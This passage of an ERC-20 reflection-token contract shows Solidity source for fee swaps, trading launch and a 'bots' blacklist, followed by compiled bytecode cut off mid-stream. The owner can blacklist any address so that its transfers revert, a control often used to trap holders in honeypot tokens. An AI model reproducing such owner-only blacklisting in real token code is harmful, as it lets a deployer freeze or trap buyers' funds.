_approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = false; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610567578063c3c8cd801461062c578063c9567bf914610643578063d543dbeb1461065a578063dd62ed3e1461069557610114565b8063715018a61461040e5780638da5cb5b1461042557806395d89b4114610466578063a9059cbb146104f657610114565b8063273123b7116100dc578063273123b7146102d6578063313ce567146103275780635932ead1146103555780636fc3eaec1461039257806370a08231146103a957610114565b806306fdde0314610119578063095ea7b3146101a957806318160ddd1461021a57806323b872dd1461024557610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e61071a565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016e578082015181840152602081019050610153565b50505050905090810190601f16801561019b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101b557600080fd5b50610202600480360360408110156101cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610757565b60405180821515815260200191505060405180910390f35b34801561022657600080fd5b5061022f610775565b6040518082815260200191505060405180910390f35b34801561025157600080fd5b506102be6004803603606081101561026857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610786565b60405180821515815260200191505060405180910390f35b3480156102e257600080fd5b50610325600480360360208110156102f957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061085f565b005b34801561033357600080fd5b5061033c610982565b604051808260ff16815260200191505060405180910390f35b34801561036157600080fd5b506103906004803603602081101561037857600080fd5b8101908080351515906020019092919050505061098b565b005b34801561039e57600080fd5b506103a7610a70565b005b3480156103b557600080fd5b506103f8600480360360208110156103cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ae2565b6040518082815260200191505060405180910390f35b34801561041a57600080fd5b50610423610bcd565b005b34801561043157600080fd5b5061043a610d53565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561047257600080fd5b5061047b610d7c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104bb5780820151818401526020810190506104a0565b50505050905090810190601f1680156104e85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561050257600080fd5b5061054f6004803603604081101561051957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610db9565b60405180821515815260200191505060405180910390f35b34801561057357600080fd5b5061062a6004803603602081101561058a57600080fd5b81019080803590602001906401000000008111156105a757600080fd5b8201836020820111156105b957600080fd5b803590602001918460208302840111640100000000831117156105db57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610dd7565b005b34801561063857600080fd5b50610641610f27565b005b34801561064f57600080fd5b50610658610fa1565b005b34801561066657600080fd5b506106936004803603602081101561067d57600080fd5b810190808035906020019092919050505061160f565b005b3480156106a157600080fd5b50610704600480360360408110156106b857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117be565b6040518082815260200191505060405180910390f35b60606040518060400160405280600c81526020017f4a656666204d696c6c696f6e0000000000000000000000000000000000000000815250905090565b600061076b610764611845565b848461184d565b6001905092915050565b6000683635c9adc5dea00000905090565b6000610793848484611a44565b6108548461079f611845565b61084f85604051806060016040528060288152602001613d3160289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610805611845565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122a39092919063ffffffff16565b61184d565b600190509392505050565b610867611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610927576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610993611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a53576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80601360176101000a81548160ff02191690831515021790555050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ab1611845565b73ffffffffffffffffffffffffffffffffffffffff1614610ad157600080fd5b6000479050610adf81612363565b50565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610b7d57600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610bc8565b610bc5600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461245e565b90505b919050565b610bd5611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c95576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f4a4546464defb88f000000000000000000000000000000000000000000000000815250905090565b6000610dcd610dc6611845565b8484611a44565b6001905092915050565b610ddf611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e9f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60005b8151811015610f2357600160076000848481518110610ebd57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050610ea2565b5050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f68611845565b73ffffffffffffffffffffffffffffffffffffffff1614610f8857600080fd5b6000610f9330610ae2565b9050610f9e816124e2565b50565b610fa9611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611069576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b601360149054906101000a900460ff16156110ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f74726164696e6720697320616c7265616479206f70656e00000000000000000081525060200191505060405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061117c30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061184d565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156111c257600080fd5b505afa1580156111d6573d6000803e3d6000fd5b505050506040513d60208110156111ec57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561125f57600080fd5b505afa158015611273573d6000803e3d6000fd5b505050506040513d602081101561128957600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b15801561130357600080fd5b505af1158015611317573d6000803e3d6000fd5b505050506040513d602081101561132d57600080fd5b8101908080519060200190929190505050601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306113c730610ae2565b6000806113d2610d53565b426040518863ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200196505050505050506060604051808303818588803b15801561145757600080fd5b505af115801561146b573d6000803e3d6000fd5b50505050506040513d606081101561148257600080fd5b810190808051906020019092919080519060200190929190805190602001909291905050505050506001601360166101000a81548160ff0219169083151502179055506000601360176101000a81548160ff0219169083151502179055506001601360146101000a81548160ff021916908315150217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156115d057600080fd5b505af11580156115e4573d6000803e3d6000fd5b505050506040513d60208110156115fa57600080fd5b81019080805190602001909291905050505050565b611617611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000811161174d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f416d6f756e74206d7573742062652067726561746572207468616e203000000081525060200191505060405180910390fd5b61177c606461176e83683635c9adc5dea000006127cc90919063ffffffff16565b61285290919063ffffffff16565b6014819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6014546040518082815260200191505060405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118d3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180613da76024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611959576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180613cee6022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611aca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180613d826025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180613ca16023913960400191505060405180910390fd5b60008111611ba9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526029815260200180613d596029913960400191505060405180910390fd5b611bb1610d53565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611c1f5750611bef610d53565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156121e057601360179054906101000a900460ff1615611e85573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611ca157503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611cfb5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611d555750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611e8457601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611d9b611845565b73ffffffffffffffffffffffffffffffffffffffff161480611e115750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611df9611845565b73ffffffffffffffffffffffffffffffffffffffff16145b611e83576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f4552523a20556e6973776170206f6e6c7900000000000000000000000000000081525060200191505060405180910390fd5b5b5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611f7557601454811115611ec757600080fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611f6b5750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611f7457600080fd5b5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156120205750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156120765750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561208e5750601360179054906101000a900460ff165b156121265742600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106120de57600080fd5b601e4201600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600061213130610ae2565b9050601360159054906101000a900460ff1615801561219e5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156121b65750601360169054906101000a900460ff165b156121de576121c4816124e2565b600047905060008111156121dc576121db47612363565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806122875750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561229157600090505b61229d8484848461289c565b50505050565b6000838311158290612350576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156123155780820151818401526020810190506122fa565b50505050905090810190601f1680156123425780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6123b360028461285290919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156123de573d6000803e3d6000fd5b50601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61242f60028461285290919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561245a573d6000803e3d6000fd5b5050565b6000600a548211156124bb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180613cc4602a913960400191505060405180910390fd5b60006124c5612af3565b90506124da818461285290919063ffffffff16565b915050919050565b6001601360156101000a81548160ff0219169083151502179055506060600267ffffffffffffffff8111801561251757600080fd5b506040519080825280602002602001820160405280156125465781602001602082028036833780820191505090505b509050308160008151811061255757fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156125f957600080fd5b505afa15801561260d573d6000803e3d6000fd5b505050506040513d602081101561262357600080fd5b81019080805190602001909291905050508160018151811061264157fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506126a830601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461184d565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b8381101561276c578082015181840152602081019050612751565b505050509050019650505050505050600060405180830381600087803b15801561279557600080fd5b505af11580156127a9573d6000803e3d6000fd5b50505050506000601360156101000a81548160ff02191690831515021790555050565b6000808314156127df576000905061284c565b60008284029050828482816127f057fe5b0414612847576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180613d106021913960400191505060405180910390fd5b809150505b92915050565b600061289483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612b1e565b905092915050565b806128aa576128a9612be4565b5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561294d5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156129625761295d848484612c27565b612adf565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612a055750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612a1a57612a15848484612e87565b612ade565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612abc5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612ad157612acc8484846130e7565b612add565b612adc8484846133dc565b5b5b5b80612aed57612aec6135a7565b5b50505050565b6000806000612b006135bb565b91509150612b17818361285290919063ffffffff16565b9250505090565b60008083118290612bca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612b8f578082015181840152602081019050612b74565b50505050905090810190601f168015612bbc5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581612bd657fe5b049050809150509392505050565b6000600c54148015612bf857506000600d54145b15612c0257612c25565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b600080600080600080612c3987613868565b955095509550955095509550612c9787600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612d2c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612dc185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612e0d816139a2565b612e178483613b47565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080612e9987613868565b955095509550955095509550612ef786600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612f8c83600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061302185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061306d816139a2565b6130778483613b47565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806130f987613868565b95509550955095509550955061315787600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506131ec86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061328183600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061331685600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613362816139a2565b61336c8483613b47565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806133ee87613868565b95509550955095509550955061344c86600260008c73ffffffffffffffffffffffffffffffffffffffff16